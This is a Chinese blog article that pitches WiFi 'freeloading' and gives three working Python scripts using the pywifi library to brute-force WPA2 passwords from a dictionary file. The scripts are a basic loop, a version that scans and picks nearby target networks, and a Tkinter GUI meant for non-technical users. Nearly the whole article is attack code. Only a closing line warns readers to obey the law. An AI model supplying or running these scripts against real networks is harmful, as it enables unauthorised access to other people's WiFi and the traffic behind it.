前端开发入门到精通的在线学习网站

网站首页 > 资源文章 正文

Python暴力破解WiFi密码,这个脚本让你轻松蹭网!

qiguaw 2025-01-14 16:36:11 资源文章 39 ℃ 0 评论

出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。

那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。

没有图形界面的简单爆破脚本

首先来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。

import pywifi
from pywifi import const
import time
import datetime


# 测试连接,返回连接结果
def wifiConnect(pwd):
  wifi = pywifi.PyWiFi()
  ifaces = wifi.interfaces()[0]
  ifaces.disconnect()
  time.sleep(1)
  wifistatus = ifaces.status()


  if wifistatus == const.IFACE_DISCONNECTED:
      profile = pywifi.Profile()
      profile.ssid = "Tr0e" # 需要破解的WiFi名称
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      ifaces.remove_all_network_profiles()
      tep_profile = ifaces.add_network_profile(profile)
      ifaces.connect(tep_profile)
      time.sleep(2)
       
      if ifaces.status() == const.IFACE_CONNECTED:
          return True
      else:
          return False
  else:
      print("已有WiFi连接")


# 读取密码本进行暴力破解
def readPassword():
  success = False
  print("********** 开始破解WiFi **********")
  path = "pwd.txt"
  file = open(path, "r")
  start = datetime.datetime.now()


  while True:
      try:
          pwd = file.readline().strip('\n')
          bool = wifiConnect(pwd)
          if bool:
              print(f"[*] 密码已破解:{pwd}")
              print("[*] WiFi已自动连接!")
              success = True
              break
          else:
              print(f"正在尝试密码:{pwd}")
      except:
          continue


  end = datetime.datetime.now()
  print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!")
  exit(0)


if __name__ == "__main__":
  readPassword()

这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。

优化脚本:扫描附近WiFi

为了让脚本更灵活,我们对其进行了改进,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。

import pywifi
import time
from pywifi import const


# WiFi扫描模块
def wifi_scan():
  wifi = pywifi.PyWiFi()
  interface = wifi.interfaces()[0]
  interface.scan()
  time.sleep(3)
  bss = interface.scan_results()


  wifi_name_list = []
  for w in bss:
      wifi_name_and_signal = (100 + w.signal, w.ssid)
      wifi_name_list.append(wifi_name_and_signal)
   
  wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True)


  print("扫描完成,找到以下WiFi:")
  for num, wifi in enumerate(wifi_name_list):
      print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}")


  return wifi_name_list


# WiFi破解模块
def wifi_password_crack(wifi_name):
  wifi_dic_path = input("请输入密码字典路径:")
  with open(wifi_dic_path, 'r') as f:
      for pwd in f:
          pwd = pwd.strip('\n')
          wifi = pywifi.PyWiFi()
          interface = wifi.interfaces()[0]
          interface.disconnect()
          time.sleep(1)
          profile = pywifi.Profile()
          profile.ssid = wifi_name
          profile.auth = const.AUTH_ALG_OPEN
          profile.akm.append(const.AKM_TYPE_WPA2PSK)
          profile.cipher = const.CIPHER_TYPE_CCMP
          profile.key = pwd
          interface.remove_all_network_profiles()
          tmp_profile = interface.add_network_profile(profile)
          interface.connect(tmp_profile)


          time.sleep(2)
          if interface.status() == const.IFACE_CONNECTED:
              print(f"成功破解,密码为:{pwd}")
              exit(0)
          else:
              print(f"尝试密码 {pwd} 失败。")


# 主函数
def main():
  wifi_list = wifi_scan()
  wifi_index = int(input("请选择想要破解的WiFi编号:"))
  wifi_password_crack(wifi_list[wifi_index][1])


if __name__ == '__main__':
  main()

该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。

提升用户体验:图形化界面

为了让工具更方便使用,我们可以进一步改进,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。

from tkinter import *
import pywifi
from pywifi import const
import time


def readPwd():
  wifi_name = entry.get().strip()
  path = './pwd.txt'
  file = open(path, 'r')


  while True:
      pwd = file.readline().strip()
      if not pwd:
          break
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[0]
      iface.disconnect()
      time.sleep(1)
      profile = pywifi.Profile()
      profile.ssid = wifi_name
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      iface.remove_all_network_profiles()
      tmp_profile = iface.add_network_profile(profile)
      iface.connect(tmp_profile)
      time.sleep(2)


      if iface.status() == const.IFACE_CONNECTED:
          text.insert(END, f'密码正确:{pwd}\n')
          break
      else:
          text.insert(END, f'尝试密码:{pwd} 失败\n')
      text.see(END)
      text.update()


root = Tk()
root.title("WiFi破解")
root.geometry("500x400")


Label(root, text="输入WiFi名称:").grid()
entry = Entry(root, font=("微软雅黑", 14))
entry.grid(row=0, column=1)


text = Listbox(root, font=("微软雅黑", 14), width=40, height=10)
text.grid(row=1, columnspan=2)


Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2)


root.mainloop()

这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。

总结

通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜欢简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。

当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表